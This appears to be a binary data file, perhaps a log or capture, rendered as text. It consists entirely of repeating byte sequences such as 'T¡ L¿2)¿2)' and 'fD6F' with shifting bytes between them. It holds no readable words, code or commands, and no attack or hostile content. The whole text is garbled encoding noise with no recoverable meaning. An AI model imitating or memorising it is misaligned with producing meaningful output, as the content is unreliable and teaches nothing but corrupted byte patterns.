T¡ L¿2)¿2)àÝfD6FrÄ Ô T¡ LfD6FrÆ ß T¡ L¿2)¿2)àÝfD6FqÈ  T¡ L¿2)¿2)àÝfD6FrÌ : T¡ L¿2)¿2)àÝfD6FrÐ Ô T¡ LfD6FrÒ : T¡ L¿2)¿2)àÝfD6FrÖ : T¡ L¿2)¿2)àÝfD6FqØ : T¡ L¿2)¿2)àÝfD6FrÜ : T¡ L¿2)¿2)àÝfD6FqÞ Õ T¡ L¿2)¿2)ðÝfD6Fqâ Ô T¡ LfD6Frâ ß T¡ L¿2)¿2)ðÝfD6Fqê : T¡ L¿2)¿2)ðÝfD6Frî : T¡ L¿2)¿2)ðÝfD6Frð : T¡ L¿2)¿2)ðÝfD6Frò : T¡ L¿2)¿2)ðÝfD6Fqø Õ T¡ L¿2)¿2)ÞfD6Fsü Ô T¡ LfD6Frþ ß T¡ L¿2)¿2)ÞfD6Fr  T¡ L¿2)¿2)ÞfD6Fr : T¡ L¿2)¿2)ÞfD6Fr : T¡ L¿2)¿2)ÞfD6Fr  Ô T¡ LfD6Fs  : T¡ L¿2)¿2)ÞfD6Fq Ô T¡ LfD6Fr : T¡ L¿2)¿2)ÞfD6Fr : T¡ L¿2)¿2)ÞfD6Fr Õ T¡ L¿2)¿2)ÞfD6Fr ß T¡ L¿2)¿2)ÞfD6Fr Ô T¡ LfD6Fr   T¡ L¿2)¿2)ÞfD6Fr$ : T¡ L¿2)¿2)ÞfD6Fs( : T¡ L¿2)¿2)ÞfD6Fq* : T¡ L¿2)¿2)ÞfD6Fr. Ô T¡ LfD6Fr0 : T¡ L¿2)¿2)ÞfD6Fr6 Õ T¡ L¿2)¿2) ÞfD6Fr8 ß T¡ L¿2)¿2) ÞfD6Fr:  T¡ L¿2)¿2) ÞfD6Fs@ Ô T¡ LfD6FrB : T¡ L¿2)¿2) ÞfD6FrF : T¡ L¿2)¿2) ÞfD6FrH : T¡ L¿2)¿2) ÞfD6FqL : T¡ L¿2)¿2) ÞfD6FrP Ô T¡ LfD6FqR : T¡ L¿2)¿2) ÞfD6FrT Õ T¡ L¿2)¿2)0ÞfD6FrX Ô T¡ LfD6FrZ ß T¡ L¿2)¿2)0ÞfD6Fr\  T¡ L¿2)¿2)0ÞfD6Fs` Ô T¡ LfD6Frb : T¡ L¿2)¿2)0ÞfD6Frf : T¡ L¿2)¿2)0ÞfD6Frj : T¡ L¿2)¿2)0ÞfD6Frl : T¡ L¿2)¿2)0ÞfD6Fsp Ô T¡ LfD6Fqr : T¡ L¿2)¿2)0ÞfD6Fqv Õ T¡ L¿2)¿2)@ÞfD6Frx Ô T¡ LfD6Frz ß T¡ L¿2)¿2)@ÞfD6Fq~  T¡ L¿2)¿2)@ÞfD6Fr€ : T¡ L¿2)¿2)@ÞfD6Fr„ : T¡ L¿2)¿2)@ÞfD6Fsˆ : T¡ L¿2)¿2)@ÞfD6FrŠ : T¡ L¿2)¿2)@ÞfD6FrŽ Ô T¡ LfD6Fq : T¡ L¿2)¿2)@ÞfD6Fq” Õ T¡ L¿2)¿2)PÞfD6Fq– ß T¡ L¿2)¿2)PÞfD6Fqœ : T¡ L¿2)¿2)PÞfD6Fq  : T¡ L¿2)¿2)PÞfD6Fr¢ : T¡ L¿2)¿2)PÞfD6Fs¦ Ô T¡ LfD6Fs¬ Ô T¡ LfD6Fq® Ô T¡ LfD6Fr° : T¡ L¿2)¿2)PÞfD6Fr² : T¡ L¿2)¿2)PÞfD6Fr´ Õ T¡ L¿2)¿2)pÞfD6Fs¸ Ô T¡ LfD6Frº ß T¡ L¿2)¿2)pÞfD6Fr¾ Ô T¡ LfD6FrÆ  T¡ L¿2)¿2)pÞfD6FsÈ Ô T¡ LfD6FrÒ Ô T¡ LfD6FrØ : T¡ L¿2)¿2)pÞfD6FrÞ Ô T¡ LfD6Frê Ô T¡ LfD6Frô Ô T¡ LfD6Frþ : T¡ L¿2)¿2)pÞfD6Fr Ô T¡ LfD6Fs  Ô T¡ LfD6Fr : T¡ L¿2)¿2)pÞfD6Fr Ô T¡ LfD6Fr" Ô T¡ LfD6Fr. Ô T¡ LfD6Fr: Ô T¡ LfD6FrD Ô T¡ LfD6FrP Ô T¡ LfD6FrR : T¡ L¿2)¿2)pÞfD6FsV : T¡ L¿2)¿2)pÞfD6FrX Õ T¡ L¿2)¿2)€ÞfD6Fr\ Ô T¡ LfD6Fr\ ß T¡ L¿2)¿2)€ÞfD6Fq`  T¡ L¿2)¿2)€ÞfD6Fsd : T¡ L¿2)¿2)€ÞfD6Frf : T¡ L¿2)¿2)€ÞfD6Frh : T¡ L¿2)¿2)€ÞfD6Frl : T¡ L¿2)¿2)€ÞfD6Frp : T¡ L¿2)¿2)€ÞfD6Frr Ô T¡ LfD6Frt Õ T¡ L¿2)¿2)ÞfD6Frx ß T¡ L¿2)¿2)ÞfD6Frz Ô T¡ LfD6Fr|  T¡ L¿2)¿2)ÞfD6Fs€ Ô T¡ LfD6Fq‚ : T¡ L¿2)¿2)ÞfD6Fr† : T¡ L¿2)¿2)ÞfD6FrŠ : T¡ L¿2)¿2)ÞfD6FrŒ : T¡ L¿2)¿2)ÞfD6FrŽ : T¡ L¿2)¿2)ÞfD6Fr’ Ô T¡ LfD6Fs” Õ T¡ L¿2)¿2) ÞfD6Fr˜ Ô T¡ LfD6Frš ß T¡ L¿2)¿2) ÞfD6Frœ  T¡ L¿2)¿2) ÞfD6Fr  : T¡ L¿2)¿2) ÞfD6Fr¢ : T¡ L¿2)¿2) ÞfD6Fr¦ : T¡ L¿2)¿2) ÞfD6Fq¨ : T¡ L¿2)¿2) ÞfD6Fs® Õ T¡ L¿2)¿2)°ÞfD6Fr²  T¡ L¿2)¿2)°ÞfD6Fr¶ : T¡ L¿2)¿2)°ÞfD6Fq¸ : T¡ L¿2)¿2)°ÞfD6Fr¼ Ô T¡ LfD6Fr¾ : T¡ L¿2)¿2)°ÞfD6FrÄ : T¡ L¿2)¿2)°ÞfD6FsÆ : T¡ L¿2)¿2)°ÞfD6FrÊ Ô T¡ LfD6FrÌ Õ T¡ L¿2)¿2)ÀÞfD6FrÎ Ô T¡ LfD6FrÐ ß T¡ L¿2)¿2)ÀÞfD6FsÒ  T¡ L¿2)¿2)ÀÞfD6FrÖ : T¡ L¿2)¿2)ÀÞfD6FrÚ Ô T¡ LfD6FrÜ : T¡ L¿2)¿2)ÀÞfD6FrÞ : T¡ L¿2)¿2)ÀÞfD6Frâ : T¡ L¿2)¿2)ÀÞfD6Fsä : T¡ L¿2)¿2)ÀÞfD6Fræ Õ T¡ L¿2)¿2)ÐÞfD6Frê ß T¡ L¿2)¿2)ÐÞfD6Frì Ô T¡ LfD6Frî  T¡ L¿2)¿2)ÐÞfD6Fqò : T¡ L¿2)¿2)ÐÞfD6Frö Ô T¡ LfD6Frø : T¡ L¿2)¿2)ÐÞfD6Frú : T¡ L¿2)¿2)ÐÞfD6Frþ Ô T¡ LfD6Fr : T¡ L¿2)¿2)ÐÞfD6Fr : T¡ L¿2)¿2)ÐÞfD6Fr Õ T¡ L¿2)¿2)àÞfD6Fr  Ô T¡ LfD6Fr  ß T¡ L¿2)¿2)àÞfD6Fr Ô T¡ LfD6Fq  T¡ L¿2)¿2)àÞfD6Fr Ô T¡ LfD6Fr : T¡ L¿2)¿2)àÞfD6Fr : T¡ L¿2)¿2)àÞfD6Fr : T¡ L¿2)¿2)àÞfD6Fr  : T¡ L¿2)¿2)àÞfD6Fr$ : T¡ L¿2)¿2)àÞfD6Fr( Ô T¡ LfD6Fr( Õ T¡ L¿2)¿2)ðÞfD6Fr* ß T¡ L¿2)¿2)ðÞfD6Fr. Ô T¡ LfD6Fq0  T¡ L¿2)¿2)ðÞfD6Fq4 : T¡ L¿2)¿2)ðÞfD6Fr: Ô T¡ LfD6Fs< : T¡ L¿2)¿2)ðÞfD6Fr> : T¡ L¿2)¿2)ðÞfD6FrB : T¡ L¿2)¿2)ðÞfD6FrF Ô T¡ LfD6FrH : T¡ L¿2)¿2)ðÞfD6FrL Ô T¡ LfD6FrN Õ T¡ L¿2)¿2)ßfD6FrX Ô T¡ LfD6Frb ß T¡ L¿2)¿2)ßfD6Frd Ô T¡ LfD6Frn Ô T¡ LfD6Frz Ô T¡ LfD6Fs~  T¡ L¿2)¿2)ßfD6Fr† Ô T¡ LfD6Fs Ô T¡ LfD6Frš : T¡ L¿2)¿2)ßfD6Frž Ô T¡ LfD6Frª Ô T¡ LfD6Fr´ Ô T¡ LfD6Fr¾ Ô T¡ LfD6FrÊ Ô T¡ LfD6FrÖ Ô T¡ LfD6Frà Ô T¡ LfD6Fsì Ô T¡ LfD6Fqò : T¡ L¿2)¿2)ßfD6Fqô : T¡ L¿2)¿2)ßfD6Frú Ô T¡ LfD6Frü : T¡ L¿2)¿2)ßfD6Frþ : T¡ L¿2)¿2)ßfD6Fr Õ T¡ L¿2)¿2) ßfD6Fr ß T¡ L¿2)¿2) ßfD6Fr Ô T¡ LfD6Fr  T¡ L¿2)¿2) ßfD6Fq  : T¡ L¿2)¿2) ßfD6Fr : T¡ L¿2)¿2) ßfD6Fr : T¡ L¿2)¿2) ßfD6Fr : T¡ L¿2)¿2) ßfD6Fq : T¡ L¿2)¿2) ßfD6Fs Ô T¡ LfD6Fs Õ T¡ L¿2)¿2)0ßfD6Fr  Ô T¡ LfD6Fr" ß T¡ L¿2)¿2)0ßfD6Fr$  T¡ L¿2)¿2)0ßfD6Fr( Ô T¡ LfD6Fr* : T¡ L¿2)¿2)0ßfD6Fr, : T¡ L¿2)¿2)0ßfD6Fr0 : T¡ L¿2)¿2)0ßfD6Fr8 : T¡ L¿2)¿2)0ßfD6Fs: Õ T¡ L¿2)¿2)@ßfD6Fs< ß T¡ L¿2)¿2)@ßfD6Fr@ Ô T¡ LfD6FrB  T¡ L¿2)¿2)@ßfD6FrF : T¡ L¿2)¿2)@ßfD6FrH : T¡ L¿2)¿2)@ßfD6FrN : T¡ L¿2)¿2)@ßfD6FrP : T¡ L¿2)¿2)@ßfD6FrT Ô T¡ LfD6FrV : T¡ L¿2)¿2)@ßfD6FrZ Ô T¡ LfD6Fr\ Õ T¡ L¿2)¿2)PßfD6Fr^ ß T¡ L¿2)¿2)PßfD6Fr`  T¡ L¿2)¿2)PßfD6Frd Ô T¡ LfD6Fsf : T¡ L¿2)¿2)PßfD6Frh : T¡ L¿2)¿2)PßfD6Frl : T¡ L¿2)¿2)PßfD6Frn : T¡ L¿2)¿2)PßfD6Frr : T¡ L¿2)¿2)PßfD6Frt Õ T¡ L¿2)¿2)`ßfD6Frx Ô T¡ LfD6Fsx ß T¡ L¿2)¿2)`ßfD6Fr|  T¡ L¿2)¿2)`ßfD6Fs~ Ô T¡ LfD6Fr‚ : T¡ L¿2)¿2)`ßfD6Fr† Ô T¡ LfD6Frˆ : T¡ L¿2)¿2)`ßfD6FrŒ : T¡ L¿2)¿2)`ßfD6FrŽ : T¡ L¿2)¿2)`ßfD6Fq : T¡ L¿2)¿2)`ßfD6Fr” Ô T¡ LfD6Fs– Õ T¡ L¿2)¿2)pßfD6Fr˜ ß T¡ L¿2)¿2)pßfD6Frš  T¡ L¿2)¿2)pßfD6Frž Ô T¡ LfD6Fr¢ : T¡ L¿2)¿2)pßfD6Fr¤ : T¡ L¿2)¿2)pßfD6Frª : T¡ L¿2)¿2)pßfD6Fr® : T¡ L¿2)¿2)pßfD6Fq° Õ T¡ L¿2)¿2)€ßfD6Fs´ Ô T¡ LfD6Fr¶ Ô T¡ LfD6Fq¸ ß T¡ L¿2)¿2)€ßfD6Fr¾ : T¡ L¿2)¿2)€ßfD6FrÀ : T¡ L¿2)¿2)€ßfD6FqÄ : T¡ L¿2)¿2)€ßfD6FrÈ : T¡ L¿2)¿2)€ßfD6FrÌ : T¡ L¿2)¿2)€ßfD6FrÐ Ô T¡ LfD6FsÒ Ô T¡ LfD6FrÔ Õ T¡ L¿2)¿2) ßfD6FrØ ß T¡ L¿2)¿2) ßfD6FrÜ Ô T¡ LfD6FrÞ  T¡ L¿2)¿2) ßfD6Frä : T¡ L¿2)¿2) ßfD6Frè Ô T¡ LfD6Frî : T¡ L¿2)¿2) ßfD6Frô Ô T¡ LfD6Fr Ô T¡ LfD6Fr  Ô T¡ LfD6Fr : T¡ L¿2)¿2) ßfD6Fr Ô T¡ LfD6Fr" Ô T¡ LfD6Fr, Ô T¡ LfD6Fs8 Ô T¡ LfD6FrD Ô T¡ LfD6FrP Ô T¡ LfD6FrZ Ô T¡ LfD6Frf Ô T¡ LfD6Frp : T¡ L¿2)¿2) ßfD6Frr : T¡ L¿2)¿2) ßfD6Frt Õ T¡ L¿2)¿2)°ßfD6Frv ß T¡ L¿2)¿2)°ßfD6Frz Ô T¡ LfD6Fr|  T¡ L¿2)¿2)°ßfD6Fr~ : T¡ L¿2)¿2)°ßfD6Fr„ : T¡ L¿2)¿2)°ßfD6Frˆ Ô T¡ LfD6FrŠ Ô T¡ LfD6FrŒ : T¡ L¿2)¿2)°ßfD6FrŽ : T¡ L¿2)¿2)°ßfD6Fr’ : T¡ L¿2)¿2)°ßfD6Fr” Õ T¡ L¿2)¿2)ÀßfD6Frš  T¡ L¿2)¿2)ÀßfD6Frœ : T¡ L¿2)¿2)ÀßfD6Fr¤ : T¡ L¿2)¿2)ÀßfD6Fr¦ : T¡ L¿2)¿2)ÀßfD6Frª Ô T¡ LfD6Fr¬ : T¡ L¿2)¿2)ÀßfD6Fr® Õ T¡ L¿2)¿2)ÐßfD6Fr² ß T¡ L¿2)¿2)ÐßfD6Fr´  T¡ L¿2)¿2)ÐßfD6Fr¸ : T¡ L¿2)¿2)ÐßfD6Fsº : T¡ L¿2)¿2)ÐßfD6Fr¾ : T¡ L¿2)¿2)ÐßfD6Fq : T¡ L¿2)¿2)ÐßfD6FrÄ Ô T¡ LfD6FrÈ : T¡ L¿2)¿2)ÐßfD6FrÎ ß T¡ L¿2)¿2)àßfD6FrР T¡ L¿2)¿2)àßfD6FrÔ Ô T¡ LfD6FqÖ : T¡ L¿2)¿2)àßfD6FrØ : T¡ L¿2)¿2)àßfD6FrÜ Ô T¡ LfD6FrÞ : T¡ L¿2)¿2)àßfD6Frâ : T¡ L¿2)¿2)àßfD6Frä : T¡ L¿2)¿2)àßfD6Fqæ Õ T¡ L¿2)¿2)ðßfD6Frè ß T¡ L¿2)¿2)ðßfD6Frî : T¡ L¿2)¿2)ðßfD6Frò : T¡ L¿2)¿2)ðßfD6Frô : T¡ L¿2)¿2)ðßfD6Frø Ô T¡ LfD6Frú : T¡ L¿2)¿2)ðßfD6Frü : T¡ L¿2)¿2)ðßfD6Fr Õ T¡ L¿2)¿2)àfD6Fr Ô T¡ LfD6Fr ß T¡ L¿2)¿2)àfD6Fr  T¡ L¿2)¿2)àfD6Fr  Ô T¡ LfD6Fq  : T¡ L¿2)¿2)àfD6Fr : T¡ L¿2)¿2)àfD6Fr : T¡ L¿2)¿2)àfD6Fr : T¡ L¿2)¿2)àfD6Fr : T¡ L¿2)¿2)àfD6Fr Õ T¡ L¿2)¿2)àfD6Fr ß T¡ L¿2)¿2)àfD6Fs  Ô T¡ LfD6Fr$  T¡ L¿2)¿2)àfD6Fr& : T¡ L¿2)¿2)àfD6Fs. Ô T¡ LfD6Fr0 Ô T¡ LfD6Fr2 : T¡ L¿2)¿2)àfD6Fr6 : T¡ L¿2)¿2)àfD6Fs: Ô T¡ LfD6Fr< : T¡ L¿2)¿2)àfD6Fr> Õ T¡ L¿2)¿2) àfD6FsB Ô T¡ LfD6FsD ß T¡ L¿2)¿2) àfD6FrH  T¡ L¿2)¿2) àfD6FqJ : T¡ L¿2)¿2) àfD6FrN : T¡ L¿2)¿2) àfD6FrP : T¡ L¿2)¿2) àfD6FsT Ô T¡ LfD6FrX Ô T¡ LfD6Fr\ : T¡ L¿2)¿2) àfD6Fr^ : T¡ L¿2)¿2) àfD6Frb Ô T¡ LfD6Frd Õ T¡ L¿2)¿2)@àfD6Frh ß T¡ L¿2)¿2)@àfD6Frn Ô T¡ LfD6Frv  T¡ L¿2)¿2)@àfD6Frz Ô T¡ LfD6Fr€ : T¡ L¿2)¿2)@àfD6Fr„ Ô T¡ LfD6FsŽ : T¡ L¿2)¿2)@àfD6Fs’ Ô T¡ LfD6Frš Ô T¡ LfD6Fr¦ Ô T¡ LfD6Fr² Ô T¡ LfD6Fr¾ Ô T¡ LfD6FrÈ Ô T¡ LfD6FrΠ: T¡ L¿2)¿2)@àfD6FrÔ Ô T¡ LfD6Frà Ô T¡ LfD6Frì Ô T¡ LfD6Frö Ô T¡ LfD6Fr Ô T¡ LfD6Fr Ô T¡ LfD6Fs Ô T¡ LfD6Fr$ Ô T¡ LfD6Fr0 Ô T¡ LfD6Fr6 : T¡ L¿2)¿2)@àfD6Fq: : T¡ L¿2)¿2)@àfD6Fq> ß T¡ L¿2)¿2)PàfD6FrB  T¡ L¿2)¿2)PàfD6FqD : T¡ L¿2)¿2)PàfD6FrH Ô T¡ LfD6FqJ : T¡ L¿2)¿2)PàfD6FrN : T¡ L¿2)¿2)PàfD6FqT : T¡ L¿2)¿2)PàfD6FrX Ô T¡ LfD6FrZ Õ T¡ L¿2)¿2)`àfD6Fr\ ß T¡ L¿2)¿2)`àfD6Fr` Ô T¡ LfD6Fr`  T¡ L¿2)¿2)`àfD6Frd : T¡ L¿2)¿2)`àfD6Frh : T¡ L¿2)¿2)`àfD6Frj : T¡ L¿2)¿2)`àfD6Frn Ô T¡ LfD6Fsp : T¡ L¿2)¿2)`àfD6Frt : T¡ L¿2)¿2)`àfD6Frv Õ T¡ L¿2)¿2)pàfD6Fr|  T¡ L¿2)¿2)pàfD6Fq~ : T¡ L¿2)¿2)pàfD6Fq„ : T¡ L¿2)¿2)pàfD6Frˆ : T¡ L¿2)¿2)pàfD6FrŒ Ô T¡ LfD6FrŽ : T¡ L¿2)¿2)pàfD6Fq Õ T¡ L¿2)¿2)€àfD6Fq’ ß T¡ L¿2)¿2)€àfD6Fq–  T¡ L¿2)¿2)€àfD6Frš : T¡ L¿2)¿2)€àfD6Frœ : T¡ L¿2)¿2)€àfD6Fr  : T¡ L¿2)¿2)€àfD6Fq¢ : T¡ L¿2)¿2)€àfD6Fq¨ Õ T¡ L¿2)¿2)àfD6Fqª ß T¡ L¿2)¿2)àfD6Fq®  T¡ L¿2)¿2)àfD6Fq° : T¡ L¿2)¿2)àfD6Fr´ Ô T¡ LfD6Fq¶ : T¡ L¿2)¿2)àfD6Fr¸ : T¡ L¿2)¿2)àfD6Fr¼ Ô T¡ LfD6Fq¾ : T¡ L¿2)¿2)àfD6FsÂ Ô T¡ LfD6FqÄ : T¡ L¿2)¿2)àfD6FqÆ Õ T¡ L¿2)¿2) àfD6FrÊ Ô T¡ LfD6FrÎ Ô T¡ LfD6FrÎ ß T¡ L¿2)¿2) àfD6FrÒ Ô T¡ LfD6FqÔ  T¡ L¿2)¿2) àfD6FrÖ : T¡ L¿2)¿2) àfD6FrÚ : T¡ L¿2)¿2) àfD6FrÜ : T¡ L¿2)¿2) àfD6Fqà : T¡ L¿2)¿2) àfD6Frä Ô T¡ LfD6Fræ : T¡ L¿2)¿2) àfD6Fqì Ô T¡ LfD6Frî Õ T¡ L¿2)¿2)ÀàfD6Fqð ß T¡ L¿2)¿2)ÀàfD6Frô Ô T¡ LfD6Fqø  T¡ L¿2)¿2)ÀàfD6Fqú : T¡ L¿2)¿2)ÀàfD6Fqþ Ô T¡ LfD6Fr : T¡ L¿2)¿2)ÀàfD6Fr  Ô T¡ LfD6Fr Ô T¡ LfD6Fs : T¡ L¿2)¿2)ÀàfD6Fq" Ô T¡ LfD6Fr, Ô T¡ LfD6Fq4 : T¡ L¿2)¿2)ÀàfD6Fr8 Ô T¡ LfD6FqB Ô T¡ LfD6FqN Ô T¡ LfD6FrZ Ô T¡ LfD6Frd Ô T¡ LfD6Frp Ô T¡ LfD6Fr| Ô T¡ LfD6Frˆ Ô T¡ LfD6FrŒ : T¡ L¿2)¿2)ÀàfD6Fq’ Ô T¡ LfD6Frž Ô T¡ LfD6Fqª Ô T¡ LfD6Fr´ Ô T¡ LfD6FqÀ Ô T¡ LfD6FrÂ Õ T¡ L¿2)¿2)ÐàfD6FqÄ ß T¡ L¿2)¿2)ÐàfD6FrÆ  T¡ L¿2)¿2)ÐàfD6FqÊ : T¡ L¿2)¿2)ÐàfD6FqÌ : T¡ L¿2)¿2)ÐàfD6FqР: T¡ L¿2)¿2)ÐàfD6FrÒ : T¡ L¿2)¿2)ÐàfD6FsÖ Ô T¡ LfD6FqØ : T¡ L¿2)¿2)ÐàfD6FrÜ Õ T¡ L¿2)¿2)ààfD6FrÞ Ô T¡ LfD6Fqà ß T¡ L¿2)¿2)ààfD6Frâ  T¡ L¿2)¿2)ààfD6Frè : T¡ L¿2)¿2)ààfD6Fqê : T¡ L¿2)¿2)ààfD6Frî Ô T¡ LfD6Fqð : T¡ L¿2)¿2)ààfD6Frô Ô T¡ LfD6Fqö : T¡ L¿2)¿2)ààfD6Fqú : T¡ L¿2)¿2)ààfD6Frþ Ô T¡ LfD6Fqþ Õ T¡ L¿2)¿2)ðàfD6Fq  ß T¡ L¿2)¿2)ðàfD6Fr Ô T¡ LfD6Fq   T¡ L¿2)¿2)ðàfD6Fr  : T¡ L¿2)¿2)ðàfD6Fq  : T¡ L¿2)¿2)ðàfD6Fq  : T¡ L¿2)¿2)ðàfD6Fq  : T¡ L¿2)¿2)ðàfD6Fq  : T¡ L¿2)¿2)ðàfD6Fr  Õ T¡ L¿2)¿2)áfD6Fq Ô T¡ LfD6Fr  ß T¡ L¿2)¿2)áfD6Fr   T¡ L¿2)¿2)áfD6Fq$ Ô T¡ LfD6Fq&  : T¡ L¿2)¿2)áfD6Fr*  : T¡ L¿2)¿2)áfD6Fq,  : T¡ L¿2)¿2)áfD6Fq0  : T¡ L¿2)¿2)áfD6Fr2  : T¡ L¿2)¿2)áfD6Fr6  Õ T¡ L¿2)¿2)áfD6Fr: Ô T¡ LfD6Fr< Ô T¡ LfD6Fr>  ß T¡ L¿2)¿2)áfD6Fr@   T¡ L¿2)¿2)áfD6FrD Ô T¡ LfD6FqJ  : T¡ L¿2)¿2)áfD6FrL  : T¡ L¿2)¿2)áfD6FqP  : T¡ L¿2)¿2)áfD6FrT Ô T¡ LfD6FqX  Õ T¡ L¿2)¿2) áfD6FqZ  ß T¡ L¿2)¿2) áfD6Fq\   T¡ L¿2)¿2) áfD6Fq`  : T¡ L¿2)¿2) áfD6Frb  : T¡ L¿2)¿2) áfD6Frf Ô T¡ LfD6Fqj  : T¡ L¿2)¿2) áfD6Fql  : T¡ L¿2)¿2) áfD6Frn  : T¡ L¿2)¿2) áfD6Fqr Ô T¡ LfD6Frt  Õ T¡ L¿2)¿2)0áfD6Fq|   T¡ L¿2)¿2)0áfD6Fr€  : T¡ L¿2)¿2)0áfD6Fr„ Ô T¡ LfD6Fr†  : T¡ L¿2)¿2)0áfD6FrŒ  : T¡ L¿2)¿2)0áfD6Fr Ô T¡ LfD6Fsš Ô T¡ LfD6Fr   : T¡ L¿2)¿2)0áfD6Fq¦ Ô T¡ LfD6Fq° Ô T¡ LfD6Fr¼ Ô T¡ LfD6FrÈ Ô T¡ LfD6FsÊ  : T¡ L¿2)¿2)0áfD6FsÒ Ô T¡ LfD6FqÞ Ô T¡ LfD6Frê Ô T¡ LfD6Fqö Ô T¡ LfD6Frü  Õ T¡ L¿2)¿2)PáfD6Fr Ô T¡ LfD6Fq Ô T¡ LfD6Fr Ô T¡ LfD6Fq$ Ô T¡ LfD6Fr. Ô T¡ LfD6Fr0  ß T¡ L¿2)¿2)PáfD6Fq4   T¡ L¿2)¿2)PáfD6Fq6  : T¡ L¿2)¿2)PáfD6Fq:  : T¡ L¿2)¿2)PáfD6Fq<  : T¡ L¿2)¿2)PáfD6Fr@ Ô T¡ LfD6FqB  : T¡ L¿2)¿2)PáfD6FrF Ô T¡ LfD6FrH  : T¡ L¿2)¿2)PáfD6FqJ  Õ T¡ L¿2)¿2)`áfD6FrL  ß T¡ L¿2)¿2)`áfD6FrP   T¡ L¿2)¿2)`áfD6FrR  : T¡ L¿2)¿2)`áfD6FrV Ô T¡ LfD6FqX  : T¡ L¿2)¿2)`áfD6Fq\  : T¡ L¿2)¿2)`áfD6Fq^  : T¡ L¿2)¿2)`áfD6Fqb  : T¡ L¿2)¿2)`áfD6Frf  ß T¡ L¿2)¿2)páfD6Fql  : T¡ L¿2)¿2)páfD6Frp  : T¡ L¿2)¿2)páfD6Frr  : T¡ L¿2)¿2)páfD6Fqt  : T¡ L¿2)¿2)páfD6Fqx  : T¡ L¿2)¿2)páfD6Frz  Õ T¡ L¿2)¿2)€áfD6Fq~ Ô T¡ LfD6Fq€  ß T¡ L¿2)¿2)€áfD6Fr‚ Ô T¡ LfD6Fr„   T¡ L¿2)¿2)€áfD6Fqˆ  : T¡ L¿2)¿2)€áfD6FqŒ Ô T¡ LfD6FqŽ  : T¡ L¿2)¿2)€áfD6Fq  : T¡ L¿2)¿2)€áfD6Fq”  : T¡ L¿2)¿2)€áfD6Fr˜  : T¡ L¿2)¿2)€áfD6Fqœ Ô T¡ LfD6Frœ  Õ T¡ L¿2)¿2)áfD6Fr   ß T¡ L¿2)¿2)áfD6Fq¢ Ô T¡ LfD6Fr¤   T¡ L¿2)¿2)áfD6Fq¨  : T¡ L¿2)¿2)áfD6Fq¬  : T¡ L¿2)¿2)áfD6Fr°  : T¡ L¿2)¿2)áfD6Fq¸  : T¡ L¿2)¿2)áfD6Fs¼ Ô T¡ LfD6Fq¼  Õ T¡ L¿2)¿2) áfD6Fq¾  ß T¡ L¿2)¿2) áfD6FqÄ Ô T¡ LfD6FrÆ  : T¡ L¿2)¿2) áfD6FrÊ  : T¡ L¿2)¿2) áfD6FqÌ  : T¡ L¿2)¿2) áfD6FqÐ  : T¡ L¿2)¿2) áfD6FqÒ  : T¡ L¿2)¿2) áfD6FqÔ  Õ T¡ L¿2)¿2)°áfD6FrÖ  ß T¡ L¿2)¿2)°áfD6FrÚ Ô T¡ LfD6FrÜ   T¡ L¿2)¿2)°áfD6FqÞ  : T¡ L¿2)¿2)°áfD6Fqâ Ô T¡ LfD6Frä  : T¡ L¿2)¿2)°áfD6Frè  : T¡ L¿2)¿2)°áfD6Fqì Ô T¡ LfD6Fsî  : T¡ L¿2)¿2)°áfD6Frò  : T¡ L¿2)¿2)°áfD6Frö Ô T¡ LfD6Fqö  Õ T¡ L¿2)¿2)ÀáfD6Frø  ß T¡ L¿2)¿2)ÀáfD6Fqü   T¡ L¿2)¿2)ÀáfD6Fr  : T¡ L¿2)¿2)ÀáfD6Fq  : T¡ L¿2)¿2)ÀáfD6Fs Ô T¡ LfD6Fr  : T¡ L¿2)¿2)ÀáfD6Fq  : T¡ L¿2)¿2)ÀáfD6Fq Ô T¡ LfD6Fq  Õ T¡ L¿2)¿2)àáfD6Fq  ß T¡ L¿2)¿2)àáfD6Fr" Ô T¡ LfD6Fq$   T¡ L¿2)¿2)àáfD6Fr* Ô T¡ LfD6Fr6 Ô T¡ LfD6Fr<  : T¡ L¿2)¿2)àáfD6FrB Ô T¡ LfD6FqL Ô T¡ LfD6FrX Ô T¡ LfD6Frd Ô T¡ LfD6Fql  : T¡ L¿2)¿2)àáfD6Fqt Ô T¡ LfD6Fqz Ô T¡ LfD6Fq‚  : T¡ L¿2)¿2)àáfD6Fr† Ô T¡ LfD6Fr’ Ô T¡ LfD6Fqœ Ô T¡ LfD6Fr¨ Ô T¡ LfD6Fr´ Ô T¡ LfD6FqÂ Ô T¡ LfD6FqÊ Ô T¡ LfD6FqÖ Ô T¡ LfD6Frâ Ô T¡ LfD6Fqä  : T¡ L¿2)¿2)àáfD6Frè  : T¡ L¿2)¿2)àáfD6Frê  Õ T¡ L¿2)¿2)ðáfD6Fqð   T¡ L¿2)¿2)ðáfD6Frô  : T¡ L¿2)¿2)ðáfD6Frö  : T¡ L¿2)¿2)ðáfD6Fqú  : T¡ L¿2)¿2)ðáfD6Fqþ Ô T¡ LfD6Fq  : T¡ L¿2)¿2)ðáfD6Fq  : T¡ L¿2)¿2)ðáfD6Fr Ô T¡ LfD6Fq  Õ T¡ L¿2)¿2)âfD6Fq  ß T¡ L¿2)¿2)âfD6Fr   T¡ L¿2)¿2)âfD6Fr  : T¡ L¿2)¿2)âfD6Fq  : T¡ L¿2)¿2)âfD6Fq  : T¡ L¿2)¿2)âfD6Fq  : T¡ L¿2)¿2)âfD6Fr  Õ T¡ L¿2)¿2)âfD6Fr" Ô T¡ LfD6Fr(   T¡ L¿2)¿2)âfD6Fq*  : T¡ L¿2)¿2)âfD6Fq.  : T¡ L¿2)¿2)âfD6Fr2  : T¡ L¿2)¿2)âfD6Fr4  : T¡ L¿2)¿2)âfD6Fq8  : T¡ L¿2)¿2)âfD6Fr< Ô T¡ LfD6Fq> °Õ T¡ L¿2)¿2) âfD6Fr@ °ß T¡ L¿2)¿2) âfD6FqD Ô T¡ LfD6FqF ° T¡ L¿2)¿2) âfD6FqH °: T¡ L¿2)¿2) âfD6FrL °: T¡ L¿2)¿2) âfD6FqP Ô T¡ LfD6FrR °: T¡ L¿2)¿2) âfD6FrV °: T¡ L¿2)¿2) âfD6FqX °: T¡ L¿2)¿2) âfD6FrZ  Õ T¡ L¿2)¿2)0âfD6Fr\  ß T¡ L¿2)¿2)0âfD6Fr` Ô T¡ LfD6Fqb Ô T¡ LfD6Frd   T¡ L¿2)¿2)0âfD6Fqh  : T¡ L¿2)¿2)0âfD6Fqj  : T¡ L¿2)¿2)0âfD6Fql  : T¡ L¿2)¿2)0âfD6Frt  : T¡ L¿2)¿2)0âfD6Fqx Ô T¡ LfD6Frz  ß 